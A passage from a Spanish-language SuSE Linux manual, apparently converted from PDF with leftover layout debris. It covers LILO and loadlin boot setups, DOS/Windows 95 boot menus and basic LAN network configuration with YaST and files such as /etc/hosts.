moderna, siguen existiendo dos posibilidades ''provisionales'': o En lugar de instalar LILO en el disco duro se usa en un disquete o, si tiene también MS-DOS instalado, puede usar loadlin para arrancar Linux. o Albergar toda la maquinaria de arranque de LILO en una partición no~ Linux, que se encuentra completamente en la zona permitida y sobre la cual Linux puede escribir (p. ej. una partición con FAT/VFAT DOS). Evidentemente no se puede poner allí el sector de arranque de LILO . Esto deja como posibilidades el comienzo de una partición extendida en el primer disco ~ si está por delante del cilindro 1024 ~ o el MBR. Supongamos que la partición en cuestión está montada bajo /mnt. LILO debe ponerse en el MBR (p. ej. /dev/hda) y además arrancar DOS desde /dev/hda1. En este caso hay que proceder de la siguiente manera: ~ Generar un directorio nuevo, p. ej. /mnt/LINUX y copiar los ficheros mencionados de LILO desde /boot hacia allí: boot.b, map, message, tal como los chain-loader para los otros sistemas opera- tivos que estén instalados (generalmente chain.b) y los kernel de Linux, que LILO debe arrancar. ~ Generar un fichero /mnt/LINUX/lilo.cfg, en el que todos los path apuntan a /mnt/LINUX (fichero 4.8.1 en la página siguiente): ~ Instalar LILO con este lilo.cfg: tierra: # /sbin/lilo -C /mnt/LINUX/lilo.cfg Después de este procedimiento LILO debería funcionar. Arranque MS-DOS y proteja los ficheros de LILO lo mejor que pueda contra ac- cesos de escritura. (¡Ojo! Cualquier acceso de escritura y LILO dejará de funcionar.) Como mínimo se activan los atributos de DOS sistema y escondido (system and hidden) de todos los ficheros en X:\LINUX. X: indica aquí la unidad MS-DOS que se montó bajo /mnt. Para terminar queremos indicar dos HOWTOs al respecto: LILO.gz y Large-Disk.gz y se encuentran en /usr/doc/howto/en/mini/. 4.8.3 Problemas especiales de arranque con el kernel a partir de 2.0 Arrancando LILO ~ igual si es desde una disquetera o desde el disco duro ~ pueden aparecer problemas después de haber cargado un kernel grande (p. ej. el kernel de instalación de SuSE ) :-( Aunque se puede elegir un kernel en el prompt de LILO y el kernel se carga (se muestran algunos puntitos), el inicio del kernel no funciona. Esto quiere * * 141 4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________* *_______________________________________@ | * * | ________________________________________________________________________________________________________* *________|||| | # LILO Fichero de configuración en directorio ajeno * * | ||# Start LILO global Section * * || | boot=/dev/hda # destino instalación * * | | backup=/mnt/LINUX/hda.xxxx # respaldo MBR antiguo * * | | install=/mnt/LINUX/boot.b # LILO y el fichero map * * | | * * | | map=/mnt/LINUX/map # están en /mnt/LINUX! * * | | message=/mnt/LINUX/message # opcional * * | | * * | | prompt * * | | timeout=100 # Espera en el prompt: 10 s * * | | vga = normal # * * | | * * | | # End LILO global section * * | | # * * | | * * | | # Linux bootable partition config begins * * | | image = /mnt/LINUX/Primer_Kernel # default * * | | * * | | root = /dev/Su_Dispositivo_Raíz # Partición root de aquí! * * | | label = linux * * | | * * | | # Linux bootable partition config ends * * | | # * * | | * * | | # Aquí párrafos de sistema para los kernel adicionales: * * | | # * * | | # Fin Linux * * | | * * | | # DOS bootable partition config begins * * | | other = /dev/hda1 # Unidad de sistema de MSDOS * * | | * * | | label = dos * * | | loader = /mnt/LINUX/chain.b * * | | * * | | table = /dev/hda * * | | # DOS bootable partition config ends * * | |_______________________________________________________________________________________________________* *________ | Fichero 4.8.1: lilo.cfg para partición ajena decir que el sistema se cuelga con diferentes reacciones antes de que aparezca el mensaje "uncompressing Linux". Posibles reacciones o mensajes: o La computadora se inicia de nuevo. o La computadora simplemente se para. o "crc-error" o "no free space" o "Error 0x00" o "Error 0x01" o "incomplete literal tree" Después de esto, en ocasiones aparece otro acceso a las disqueteras, pero la computadora queda ''colgada''. El motivo de ello es la combinación de un kernel grande, LILO y hardware defectuoso. Haciendo una aproximación, alrededor del uno por ciento de las computadoras reaccionan así. Sospechamos que por culpa de un error en la BIOS hay problemas con un acceso rápido a la memoria. ~ El problema no ocurre cuando: o Linux ha sido arrancado con Loadlin (apartado 4.9 en la página siguiente), 142 ________________________________________4.9.__Configuración_del_mecanismo_de_arranque_con_loadlin___________________________* *______________________ o se copia un kernel p. ej. con tierra: # dd if=/boot/vmlinuz of=/dev/fd0 a un disquete arrancándolo directamente desde allí, o se arranca con LILO un kernel pequeño, que fue generado con tierra: # make zImage Con los siguientes ajustes de la BIOS tampoco hay problemas de arrancar: o Deshabilitar la cache interna (disable ) o DRAM Precharge Wait State a 1 y o DRAM Wait Burst Timing a 0x3333 Solución En primer lugar es necesario poder instalar Linux de alguna forma. Si no se puede arrancar directamente con loadlin (o con setup.exe ) lo mejor es usar un disquete de arranque antiguo con versión 1.2.13. Si no se dispone de él, se han de cambiar los parámetros de la BIOS. Después de una instalación exitosa aparece la pregunta sobre cómo arrancar su Linux. Primero arranque con el mismo medio de la instalación, ya que no hay problemas con loadlin desde la partición DOS. En caso de un disquete de arranque, indique como parámetros: load_ramdisk=0 root=/dev/ donde es su partición raíz, p. ej. hda1. 4.9 Configuración del mecanismo de arranque con loadlin Aquí se presenta un método adicional de arrancar SuSE Linux, usando el loadlin . Se trata de un programa DOS capaz de arrancar el kernel de Linux que se encuentra en una particion DOS. loadlin se integra plenamente en un entorno DOS/Windows 9x y se puede arrancar de manera confortable con el gestor de arranque de Windows. Como no se graba nada en el + MBR lo único que Windows ve de Linux es una o varias particiones con identificadores desconocidos (ingl. IDs). Así se minimiza el peligro de efectos colaterales por la existencia de Linux en la computadora. El procedimiento que aquí se explica, funciona bajo Windows 95 y Win- dows 98 y los ficheros de configuración que se muestran fueron desarrolla- dos bajo Windows 95, por lo que a partir de ahora solo se menciona a Win- dows 95. Usando loadlin hacen falta algunos preparativos y según las condiciones hay que modificar también algunos ficheros de arranque. En principio hay dos maneras distintas de activar loadlin : Elegirlo en el momento de arrancar a través del menú de arranque de Windows o iniciarlo desde DOS/Windows y de este modo cambiar a Linux. Ambos métodos tienen sus ventajas y desventajas: o El menú de arranque evita el desvío por otro sistema operativo para arran- car Linux. * * 143 4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________* *_______________________________________@ o Es posible incorporar en un menú de arranque configuraciones adicionales y así construir un mecanismo de arranque universal. o Es necesario modificar los ficheros de arranque para construir un menú de arranque y tal vez haga falta probar un poco. Los ficheros de ayuda de DOS probablemente pueden ayudar; pruebe con el comando help menu . o En el prompt de DOS el cambio hacia a Linux es muy simple. o Bajo Windows 95 se puede hacer la bonita integración del arranque de Linux en el entorno gráfico lo que permite cambiar a Linux con un doble- click del mouse sobre un icono. No obstante, se puede montar también bajo Windows 95 un menú de arranque ya que éste contiene DOS 7.0. ________________________________________________________________________________________________________* *________|| | Si se quiere arrancar Linux directamente después de encender la computa- * * |||| | * * ||| | dora, lo mejor es usar un menú de arranque. El método de arrancar desde * * ||| | el prompt de DOS o con el doble-click del mouse se puede usar adicional- * * ||| | * * ||| | mente para cambiar de DOS/Windows directamente a Linux. * * ||| | Los menús de arranque y la configuración de Windows 95 tienen muchas * * ||| | * * ||| | facetas, así que no entraremos en muchos detalles al respecto. * * ||| |_______________________________________________________________________________________________________* *________|||_ 4.9.1 Ficheros necesarios para loadlin Lo siguiente hay que hacerlo siempre independientemente de la manera de arrancar con loadlin (válido para DOS, Windows 3.x y Windows 95): 1. Lo más probable es que ya esté loadlin instalado (ver apartado 2.5.4 en la página 54Instalar loadlin y arrancar Linux originariosubsection.2.5.4). Sino, hace falta instalarlo primero desde el CD 1 con setup . 2. Bajo MS-DOS se cambia al directorio c:\loadlin . Allí hay un fichero llamado linux.par . En este mismo directorio se genera un fichero, p. ej. startlin.bat o con el nombre que parezca oportuno. Este fichero debe contener una línea como la del fichero 4.9.1. ________________________________________________________________________________________________________* *________ | c:\loadlin\loadlin @c:\loadlin\linux.par * * | |_______________________________________________________________________________________________________* *________ | Fichero 4.9.1: Ejemplo de un fichero por lotes para arrancar Linux Ahora se escriben en el fichero linux.par las siguientes líneas como se indica en el fichero 4.9.2. ________________________________________________________________________________________________________* *________|| | c:\loadlin\zimage # first value must be * * | | # the filename of the Linux-kernel * * | | * * | | * * | | initrd=c:\loadlin\initrd * * | | * * | | * * | | root=/dev/xxx # the device which gets mounted as root FS * * | | * * | | * * | | ro # mount root read-only * * | |_______________________________________________________________________________________________________* *________ | Fichero 4.9.2: Ejemplo de un fichero de parámetros para el arranque de Linux 144 ________________________________________4.9.__Configuración_del_mecanismo_de_arranque_con_loadlin___________________________* *______________________ xxx es el nombre de dispositivo de su partición raíz (debe haberse apun- tado este nombre según el apartado 2.10.2 en la página 79Fijar sistemas de fichero y ''Mountpoints''subsection.2.10.2. La entrada con initrd so- lo se necesita cuando hace falta cargar el soporte SCSI directamente en el momento de arrancar (sobre el concepto del ''initial ramdisk'' véase el apartado 16.2 en la página 411Situación de arranquesection.16.2). Con el fichero startlin.bat se puede arrancar Linux en cualquier mo- mento desde DOS. Los ficheros startlin.bat y config.sys usan linux.par, el cual contiene todos los parámetros necesarios para arran- car Linux. Es posible introducir o reemplazar parámetros de arranque en linux.par una vez acostumbrados a trabajar con Linux. Cuando se haya construido un kernel propio, se copia del sistema de ficheros Linux a c:\loadlin\zimage y a partir de entonces se trabaja con este nuevo kernel; en caso que haga falta, también debe guardar allí un disco initrd generado nuevamente. 4.9.2 Personalizar menús de arranque Para personalizar un menú de arranque bajo DOS o Windows 3.x se hace lo siguiente: 1. Primero hay que definir en el fichero c:\config.sys un menú de arranque. Para ello se introduce algo parecido a lo indicado en el fichero 4.9.3. _______________________________________________________________________________________________________________________|| |||||||| [Menu] | |||||||| menuitem=Win, Arrancar Windows... | |||||||| | |||||||| menuitem=DOS, Arrancar MS-DOS... | |||||||| menuitem=Linux, Arrancar Linux... | |||||||| | |||||||| menucolor=15,1 | |||||||| menudefault=Win,5 | ||||||||_______________________________________________________________________________________________________________ | Fichero 4.9.3: Ejemplo para config.sys (1a parte) para arrancar Linux Bajo el rótulo [Menu] se definen las opciones del menú, su color y el tiempo de espera (segundos) antes del arranque de la opción por defecto. 2. A continuación se escriben los rótulos [Common], [Win], [DOS] y [Lin- ux]. Bajo Common se anotan los comandos válidos para todas las op- ciones y bajo el rótulo de cada opción se anotan solo los comando válidos para dicha opción. Para ello se usan las líneas que se encuentran en el config.sys actual; un ejemplo se muestra en el fichero 4.9.4 en la pági- na siguiente. Ahora se guarda el fichero. 3. A continuación, abrir el fichero c:\autoexec.bat . En este fichero se deben apuntar los mismos rótulos y asignarles comandos pero con una sintaxis un poco diferente. El rótulo elegido en el menú de arranque está en la variable %config%. Se puede escribir, por ejemplo, algo como lo indicado en el fichero 4.9.5 en la página siguiente. 4. Arrancando ahora la computadora aparece un menú de arranque, el cual da 5 segundos de tiempo para elegir una opción; después de este tiem- * * 145 4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________* *_______________________________________@ | * * | ________________________________________________________________________________________________________* *________|||| | [Common] * * | ||device=c:\dos\himem.sys /testmem:off * * || | device=c:\dos\emm386.exe noems * * | | dos=high,umb * * | | * * | | files=30 * * | | buffers=10 * * | | shell=c:\dos\command.com * * | | * * | | * * | | [Win] * * | | * * | | devicehigh=c:\dos\dblspace.sys /move * * | | devicehigh=c:\cd\slcd.sys /D:SONY_000 /B:340 /M:P /V /C * * | | * * | | * * | | [DOS] * * | | * * | | devicehigh=c:\dos\dblspace.sys /move * * | | devicehigh=c:\cd\slcd.sys /D:SONY_000 /B:340 /M:P /V /C * * | | * * | | * * | | [Linux] * * | | shell=c:\loadlin\loadlin.exe @c:\loadlin\linux.par * * | | * * | | * * | | [Common] * * | | * * | | rem Queda vacío * * | |_______________________________________________________________________________________________________* *________||| Fichero|4.9.4: Ejemplo de config.sys (2a parte) para el arranque de Linux * * | ________________________________________________________________________________________________________* *________|||| | @echo off * * | | * * | | * * | | rem Comandos para todas las configuraciones * * | | switches= /f * * | | * * | | set comspec=c:\dos\command.com * * | | prompt $p$g * * | | * * | | loadhigh c:\dos\keyb gr,,c:\dos\keyboard.sys * * | | loadhigh c:\dos\doskey * * | | * * | | set temp=c:\temp * * | | loadhigh c:\dos\mscdex.exe /D:SONY_000 /E /V /L:H * * | | c:\logimouse\mouse.exe * * | | * * | | * * | | goto %config% * * | | * * | | * * | | :Win * * | | * * | | c:\dos\smartdrv.exe a- b- c+ 2048 1024 * * | | path c:\windows;c:\dos;c:\util; * * | | * * | | win * * | | c:\dos\smartdrv /C * * | | * * | | goto fin * * | | * * | | :DOS * * | | * * | | path c:\dos;c:\util; * * | | goto fin * * | | * * | | * * | | :fin * * | | * * | | echo * ¡Hasta la vista! * * * | |_______________________________________________________________________________________________________* *________ | Fichero 4.9.5: Ejemplo de autoexec.bat para el arranque de Linux 146 ________________________________________4.9.__Configuración_del_mecanismo_de_arranque_con_loadlin___________________________* *______________________ po, Windows arranca automáticamente. Si se selecciona `Linux', éste arranca y espera que se haga el login. 4.9.3 Iniciar Linux desde Windows Aquí se explica cómo activar y configurar un icono para Linux, que permite arrancarlo desde el sistema Windows 95 que esté en marcha: 1. Entrar a la carpeta c:\loadlin , marcar el fichero startlin.bat y se- leccionar en el menú de ''Edición'' `Copiar'. 2. Ir a una carpeta o al escritorio según donde se quiera tener el icono de acceso a Linux. Pulsar el botón derecho del mouse y seleccionar `Pegar acceso directo'. 3. Marcar el acceso directo recién creado y pulsar el botón derecho del mouse. Seleccionar `Propiedades'. Entrar en la ficha `Programa' y pulsar sobre el botón `Avanzada...'. Marcar la casilla `Modo MS- DOS' y confirmar con `Aceptar'. 4. Con el botón `Cambiar icono...' se puede elegir un icono diferente y finalmente dar un nombre adecuado al acceso directo. ¡Listo! 5. Un doble-click sobre el símbolo muestra una pantalla de advertencia in- dicando que Windows 95 está por entrar en el modo MS-DOS. Si no se quiere ver la advertencia, se desactiva en las propiedades del acceso di- recto. 4.9.4 El menú de arranque de Windows Así se ajusta el menú de arranque de Windows 95: 1. Primero hay que editar el fichero c:\msdos.sys . Para ello hay que hacer el fichero visible con: C:> attrib -R -S -H c:\msdos.sys Es un fichero de texto en el cual hay que añadir un par de líneas para activar el menú de inicio propio de Windows 95. Lo que se encuentra bajo la etiqueta [Options] debería parecerse a lo indicado en el fichero 4.9.6. _______________________________________________________________________________________________________________________|| |||||||| [Options] | |||||||| BootGUI=0 | |||||||| | |||||||| BootDelay=0 | |||||||| BootMenu=0 | |||||||| | |||||||| Logo=0 | ||||||||_______________________________________________________________________________________________________________ | Fichero 4.9.6: msdos.sys para el arranque de Linux El parámetro Logo=0 es opcional y evita que Windows 95 entre al modo gráfico antes de arrancar. Arrancar así es más rápido y además se tiene menos problemas si se usa más tarde el emulador de DOS. El parámetro BootGUI=0 hace, que Windows 95 arranque directamente en modo MS-DOS. Una vez editado el fichero se pone a sus atributos los valores originales. Para arrancar ahora Windows hay que introducir en el prompt de DOS: * * 147 4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________* *_______________________________________@ C:> win Nuestro fichero de ejemplo c:\autoexec.bat ya lo hace si se ha elegido Win95 en el menú. 2. Ahora se debe definir en el fichero c:\config.sys el propio menú de arranque. Para ello se introduce al comienzo del fichero, por ejemplo el contenido del fichero 4.9.7. ________________________________________________________________________________________________________* *________|| | [Menu] * * | | menuitem=Win95, Arrancar Windows 95... * * | | * * | | menuitem=DOS, Arrancar MS-DOS... * * | | menuitem=Linux, Arrancar Linux... * * | | * * | | menudefault=Win95,5 * * | |_______________________________________________________________________________________________________* *________ | Fichero 4.9.7: Ejemplo de config.sys (1a parte) para el arranque de Linux bajo Windows 95 Las opciones del menú de arranque se definen bajo el rótulo [Menu] tal como los segundos de espera y la opción por defecto. 3. Más abajo estarán los rótulos [Win95] , [DOS] , [Linux] y [Common] . Bajo [Common] se apuntan los comandos que deben valer siempre (no deberían ser muchos para Windows 95) y bajo cada distinto rótulo se anotan los que solo valen para la opción en concreto. Para esto se usan las líneas que se encuentran en el config.sys actual; el ejemplo del | fichero 4.9.8 puede servir como idea inicial. * * | ________________________________________________________________________________________________________* *________|||| | [Win95] * * | | dos=high,umb * * | | * * | | device=c:\windows\himem.sys /testmem:off * * | | * * | | [DOS] * * | | * * | | device=c:\plugplay\drivers\dos\dwcfgmg.sys * * | | dos=high,umb * * | | * * | | device=c:\windows\himem.sys /testmem:off * * | | device=c:\windows\emm386.exe noems I=B000-B7FF * * | | * * | | devicehigh=c:\cdrom\torisan.sys /D:TSYCD3 /P:SM * * | | * * | | * * | | [Linux] * * | | shell=c:\loadlin\loadlin.exe @c:\loadlin\linux.par * * | | * * | | * * | | [Common] * * | | accdate=C+ D+ H+ * * | | * * | | switches= /F buffers=20 * * | |_______________________________________________________________________________________________________* *________ | Fichero 4.9.8: Ejemplo de config.sys (2a parte) para el arranque de Linux bajo Windows 95 Ahora se guarda el fichero. 4. A continuación, abrir el fichero c:\autoexec.bat . En éste se deben apuntar los mismos rótulos y asignar comandos pero con una sintaxis un poco diferente. El rótulo elegido en el menú de arranque está en la 148 ________________________________________4.9.__Configuración_del_mecanismo_de_arranque_con_loadlin___________________________* *______________________ variable %config%. Se puede escribir, por ejemplo, algo como lo indicado en|el|fichero|4.9.9. | _______________________________________________________________________________________________________________________|||| |||||||| @echo off | |||||||| loadhigh keyb gr,,c:\windows\command\keyboard.sys | |||||||| goto %config% | |||||||| | |||||||| | |||||||| :Win95 | |||||||| | |||||||| win | |||||||| goto fin | |||||||| | |||||||| | |||||||| :DOS | |||||||| | |||||||| path c:.;d:.;c:\windows\command;c:\util; | |||||||| loadhigh c:\windows\command\mscdex.exe /D:TSYCD3 /L:x | |||||||| loadhigh c:\windows\command\doskey | |||||||| | |||||||| c:\windows\command\mouse.exe | |||||||| goto fin | |||||||| | |||||||| | |||||||| :fin | |||||||| | |||||||| echo * ¿Y ahora qué? * | ||||||||_______________________________________________________________________________________________________________ | Fichero 4.9.9: Ejemplo de autoexec.bat para el arranque de Linux bajo Windows 95 5. Arrancando ahora la computadora aparece el propio menú de arranque y se tiene 5 segundos de tiempo para elegir una opción. Después de este lapso de tiempo Windows 95 arranca automáticamente. Si se selecciona `Linux', éste arranca y espera que se haga el login. * * 149 4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________* *_______________________________________@ 150 Parte III Configuración de red 151 Capítulo 5 Linux en la red Conexiones de red: Una visión global En la época actual de las telecomunicaciones, la cantidad de computadoras conectadas vía red es tan grande que ya casi no se encuentran máquinas que no estén conectadas a una red ~ como mínimo temporalmente. Linux, que nació en + Internet solventa todas las necesidades y ofrece todas las herramientas necesarias para incorporarse en distintos entornos de red. Este capítulo resume los pasos necesarios para crear y mantener una conexión de red; se presentan los ficheros de configuración centrales y algunas de las herramientas de mantenimiento más importantes. Primero se explica cómo instalar, una computadora con Linux, en una red de área local (ingl. + LAN) y cómo se construye una pequeña + Red formada por computadoras Linux, continuando con la conexión vía modem. Este apartado trata especialmente sobre el enlace con Internet sirviéndose del protocolo PPP; además, hay explicaciones extensas sobre la configuración de un acceso RDSI. Para terminar, se expone brevemente la configuración de los sistemas de correo y de noticias y se presenta un sistema de envío de Fax bajo Linux. YaST sirve para casi toda la configuración de cualquier red (ver apartado 3.7 en la página 102Administración del sistemasection.3.7 y apartado 17.6 en la página 437Las variables en /etc/rc.config ~ Configuración de sistemasection.17.6). No obstante también se explican en este capítulo los mecanismos básicos de configuración y se indican los ficheros necesarios, ya que una red puede ser de una complejidad casi infinita. Conexiones en una red de área local (LAN) No es algo complicado incorporar una computadora de Linux en una red de área local (LAN) formada por otras computadoras con Unix o Linux. Hay algunos pocos requisitos a cumplir pero estos no imponen ninguna restricción especial sobre el uso de Linux en redes. Requisitos, Preparativos Linux soporta ya una gran cantidad de tarjetas de red ~ Ethernet, Arcnet, algunas tarjetas TokenRing ~ y además, conoce casi todos los protocolos de red de mayor difusión como TCP/IP, IPX y AppleTalk. El ámbito de este capitulo no permite, ni de cerca, cubrir todas las configuraciones posibles. Es * * 153 5. Linux en la red________________________________________________________________________________________________________________* *_______________________________________@ por eso que se discute solamente el caso normal, que es el de la instalación de una computadora Linux con tarjeta Ethernet en una red con protocolo TCP/IP. Hay información actualizada sobre la configuración de otras redes p. ej. en /usr/src/linux/Documentation junto con las fuentes de kernel. La ayuda en el programa de configuración del kernel es otra buena fuente de información. Se tienen que cumplir los siguientes requisitos: o La tarjeta red de la computadora debe ser soportada y Linux la reconoce bien si el resultado del comando: tierra:~ # /sbin/ifconfig contiene una línea que comienza con eth0: . ________________________________________________________________________________________________________* *________|| | Si se realiza el soporte de la tarjeta red con un módulo de kernel ~ caso * * |||| | * * ||| | por omisión del kernel de SuSE ~ el nombre del módulo tiene que figurar * * ||| | * * ||| | como alias en /etc/modules.conf. Para la primera tarjeta Ethernet sería * * ||| | entonces: * * ||| | * * ||| | alias eth0 tulip * * ||| | Esto se hace automáticamente, cargando durante la primera instalación en * * ||| | * * ||| | Linuxrc el driver para la tarjeta red. Se puede hacer lo mismo posterior- * * ||| | * * ||| | mente desde YaST (ver apartado 3.7.1 en la página 102Instalar hardware * * ||| | en el sistemasubsection.3.7.1). * * ||| |_______________________________________________________________________________________________________* *________|||_ Cumpliendo los requisitos mencionados, lo único que queda antes de con- figurar la red es echar un vistazo a los términos de la tabla 5.1 en la pági- na 156Requisitos, Preparativostable.5.1. _______________________________________________________________________________________________________* *_________ Nombre de computa- El nombre que la computadora debe tener en la dora red, p. ej. tierra . El nombre no debe tener más que ocho caracteres y no debe estar asignado a ninguna computadora en la red local. Nombre de dominio El nombre de dominio al cual pertenecerá la computadora. Los dominios sirven para la clasi- ficación de las redes. Se accede a una computa- dora mediante un nombre de dominio totalmente cualificado (ingl. fully qualified domain name (FQDN)) que se constituye por el nombre de la máquina, el del dominio y el del dominio de primer nivel. Así p. ej. tierra.cosmos.univ es la computadora tierra en el dominio cosmos.univ . El dominio de primer nivel no puede estar formado por más de cuatro letras. La plantilla para un nombre de computadora total- mente cualificado es Nombre_Computadora. Nombre_Dominio.Dominio_Primer_Nivel. _______________________________________________________________________________________________________* *_________ Tabla 5.1: Continúa en la página siguiente ... 154 _______________________________________________________________________________________________________5.__Linux_en_la_red_____* *___________________ ______________________________________________________________________________________________________________________ Dirección IP La dirección de la computadora en la red. Cada ordenador tiene para cada interfaz de red (p. ej. una tarjeta Ethernet o RDSI) por lo menos una dirección única en toda la red. Según el es- tándar vigente, esta dirección se compone de una secuencia de cuatro bytes que se apun- tan generalmente separados por puntos (p. ej. 192.168.0.20 ). Al asignar las direcciones IP se debería contem- plar un posible enlace posterior con Internet. Si este enlace está planeado, se recomienda usar desde un principio direcciones registradas. En la norma RFC 1597 hay tres intervalos de direcciones previstas para el uso privado, que no pueden provocar problemas en caso de una conexión accidental a Internet, porque se trata de direcciones cuyos datos no se ''rutean'' (no se transfieren) entre las diferentes computadoras en Internet. Los intervalos de direcciones son: 10.0.0.0 ) 10.255.255.255 (Red de clase A) 172.16.0.0 ) 172.31.255.255 (Red de clase B) 192.168.0.0 ) 192.168.255.255 (Red de clase C) Hay algunas direcciones IP que no están pre- vistas para computadoras, ya que cumplen fun- ciones especiales. Por ejemplo, la dirección 192.168.0.0 está reservada para la red misma y 192.168.0.255 es la dirección correspondi- ente de Broadcast (dirección de difusión). Dirección de gateway La dirección del ''Gateway'' en la red. El Gate- way es una computadora que se encuentra dentro de más de una red y que se encarga de traspasar paquetes de información de una red a la otra. Máscara de red La máscara de red (ingl. netmask) determina en cuál red se encuentra una cierta dirección. La dirección IP de la computadora se relaciona por un AND lógico con la máscara de red, por lo tanto ''tapa'' la parte de la dirección que corre- sponde al host , así que solo queda la dirección de la red. Una máscara de red muy típica es 255.255.255.0 . ______________________________________________________________________________________________________________________ Tabla 5.1: Continúa en la página siguiente ... * *155 5. Linux en la red________________________________________________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ Dirección del servi- El servidor de nombres (DNS, DomainName- dor de nombres Service) ofrece el servicio de conversión de nombres de computadoras en direcciones IP. Así se asigna p. ej. a tierra la dirección IP 192.168.0.20 . Si hay acceso a un servidor de nombres a través de la red, es necesario in- dicar su dirección IP durante la configuración de la red. _______________________________________________________________________________________________________* *_________ Tabla 5.1: Variables para la configuración de red 5.1 Configuración con YaST Con la información suministrada anteriormente no deberían presentarse prob- lemas al configurar la red con YaST . Tenga en cuenta lo que se ha mencionado en el apartado 5 en la página 153Requisitos, Preparativoschapter.5. 1. Entre al sistema como usuario `root'. 2. Inicie YaST y entre al menú `Administración del sistema', `Con- figuración de red', `Configuración básica de red'. Figura 5.1: Configuración de red con YaST 3. Seleccione un `Número' libre, p. ej. 0 . 4. Pulse |____|F5para seleccionar `Ethernet' como dispositivo, y salga del cuadro de diálogo seleccionando `Continuar'. 5. Pulse |F____|6(`IP'), e introduzca la dirección IP de la computadora, p. ej. 192.168.0.20 . A continuación es preciso indicar la máscara de red. Esta es típicamente 255.255.255.0 para una sub-red de la clase C, que contiene hasta 254 computadoras. Si no existe ninguna computadora en la red que funcione como Gateway, no se debe indicar nada aquí; véase la figura 5.1. 156 _________________________________________________5.2.__Configuración_manual_de_la_red_~_¿Dónde_tocar?______________________* *_______________________ 6. Salga de la pantalla seleccionando `Continuar'. 7. Active el dispositivo de red con |F___|_4. 8. Pulsando | _____|F10se guarda__la configuración. Para salir de la pantalla sin guardar los cambios pulse |E____s|c. 9. La opción `Cambiar nombre del host' permite otorgar un nombre a la computadora o el cambio del mismo. El cuadro de diálogo pide también la introducción del nombre de dominio al cual pertenece la computadora. 10. Con la opción `Configurar servicios de red' se puede decidir cuáles servicios de red se deben activar durante el arranque. Estos pueden ser el inetd , el programa portmap y el servidor NFS. También se deter- mina cuál nombre de computadora y dominio debe aparecer en la línea ''From'', enviando mensajes al USENET. o El inetd sirve para iniciar determinados servicios de red (p. ej. telnet, finger, ftp etc.) en el momento necesario. Se aconseja iniciar el inetd en cada arranque de sistema, ya que, sin su presencia, no se pueden ac- tivar muchos servicios de red; si su sistema está expuesto a intrusiones, tenga en cuenta los consejos del apartado 18.2.2 en la página 461El in- etd subsection.18.2.2. . o Para usar la computadora como servidor NFS o NIS es preciso iniciar el Portmapper portmap cuando el sistema arranca. Una vez se ha de- cidido iniciar el Portmapper el programa le pregunta si quiere arrancar también el servidor NFS. 11. La opción `Configuración DNS' permite la configuración de uno o varios servidores de nombre. Es posible indicar hasta tres direcciones IP separadas por espacios. 12. Con la opción `Configurar sendmail' se puede efectuar una configu- ración básica del paquete sendmail . El apartado 6.8 en la página 204Va- mos a escribir ~ Configuración de sendmailsection.6.8 contiene una de- scripción explícita de la configuración de sendmail. YaST le soporta también en la modificación del fichero de configuración cen- tral /etc/rc.config, que contiene una multitud de opciones (ver aparta- do 17.6 en la página 437Las variables en /etc/rc.config ~ Configuración de sistemasection.17.6). Aquí se termina la configuración de la red y YaST inicia SuSEconfig , que se encarga de introducir las indicaciones hechas en los correspondientes ficheros (ver apartado 5.2). Para activar los ajustes y usar la nueva configuración hay que iniciar de nuevo los daemons usados. Esto se consigue introduciendo el siguiente comando: tierra:~ # rcnetwork restart (ver también capítulo 17 en la página 431El concepto de arranque de SuSE Linux chapter.17). 5.2 Configuración manual de la red ~ ¿Dónde tocar? La configuración manual de la red no es muy aconsejable, ya que es más sencillo servirse de YaST . No obstante puede haber casos que exigen un * * 157 5. Linux en la red________________________________________________________________________________________________________________* *_______________________________________@ retoque manual, porque YaST no cubre todo el campo de la configuración de redes. 5.2.1 Ficheros de configuración En resumen, este apartado explica la función de los ficheros de configuración de red y expone sus formatos. /etc/rc.config Este fichero de configuración central (ver apartado 17.5 en la pági- na 435/etc/rc.config y SuSEconfig section.17.5) contiene la mayoría de las opciones de configuración de red. La mayoría de los ficheros que figuran a continuación se generan automáticamente cuando se modifica la configuración de red con YaST o cuando se ejecuta SuSEconfig después de una modificación manual de /etc/rc.config. También se modifican con él los scripts de arranque. ________________________________________________________________________________________________________* *________ | Al modificar el fichero /etc/rc.config a mano, siempre se ha de ejecu- * * |||| | * * ||| | tar posteriormente SuSEconfig para que los cambios en la configuración * * ||| | se escriban automáticamente en los ficheros correctos. * * ||| |_______________________________________________________________________________________________________* *________|||_ /etc/hosts Este fichero (ver fichero 5.2.1) tiene una tabla de asignación entre nom- bres de computadoras y direcciones IP. En esta tabla deben aparecer todas las computadoras a las que se quiere establecer una conexión IP cuando no se usa un servidor de nombres. Cada computadora ocupa una línea en la tabla que contiene el número IP, el nombre completo de la com- putadora y el nombre (abreviado), p. ej. tierra . La línea debe comenzar con la dirección IP y las demás indicaciones se separan con espacios o tabuladores. Los comentarios comienzan con `#'. ________________________________________________________________________________________________________* *________|| | # * * | | # hosts This file describes a number of hostname-to-address * * | | # mappings for the TCP/IP subsystem. It is mostly * * | | # used at boot time, when no name servers are running. * * | | * * | | # On small systems, this file can be used instead of a * * | | # "named" name server. Just add the names, addresses * * | | # and any aliases to this file... * * | | # * * | | * * | | 127.0.0.1 localhost * * | | 192.168.0.1 sol.cosmos.univ sol * * | | 192.168.0.20 tierra.cosmos.univ tierra * * | | # End of hosts * * | |_______________________________________________________________________________________________________* *________ | Fichero 5.2.1: /etc/hosts /etc/networks En este fichero se convierten los nombres de redes en direcciones de red. El formato se parece al del fichero hosts solo que aquí los nombres de las redes aparecen por delante de sus direcciones IP (ver fichero 5.2.2 en la página siguiente). 158 _________________________________________________5.2.__Configuración_manual_de_la_red_~_¿Dónde_tocar?_____________________________* *________________ _______________________________________________________________________________________________________________________|| |||||||| # | |||||||||## networks This mfileapdescribespiangnumbers offonetname-to-addressr the TCP/IP subsystem. It is mostly|| |||||||| # used at boot time, when no name servers are running. | |||||||| | |||||||| # | |||||||| loopback 127.0.0.0 | |||||||| localnet 192.168.0.0 | |||||||| # End of networks. | ||||||||_______________________________________________________________________________________________________________ | Fichero 5.2.2: /etc/networks _____________________________________________________________________________________________________________ order hosts, bind Determina el orden de llamada a los servi- cios de resolución de nombres. Los parámet- ros posibles son: hosts: Búsqueda en 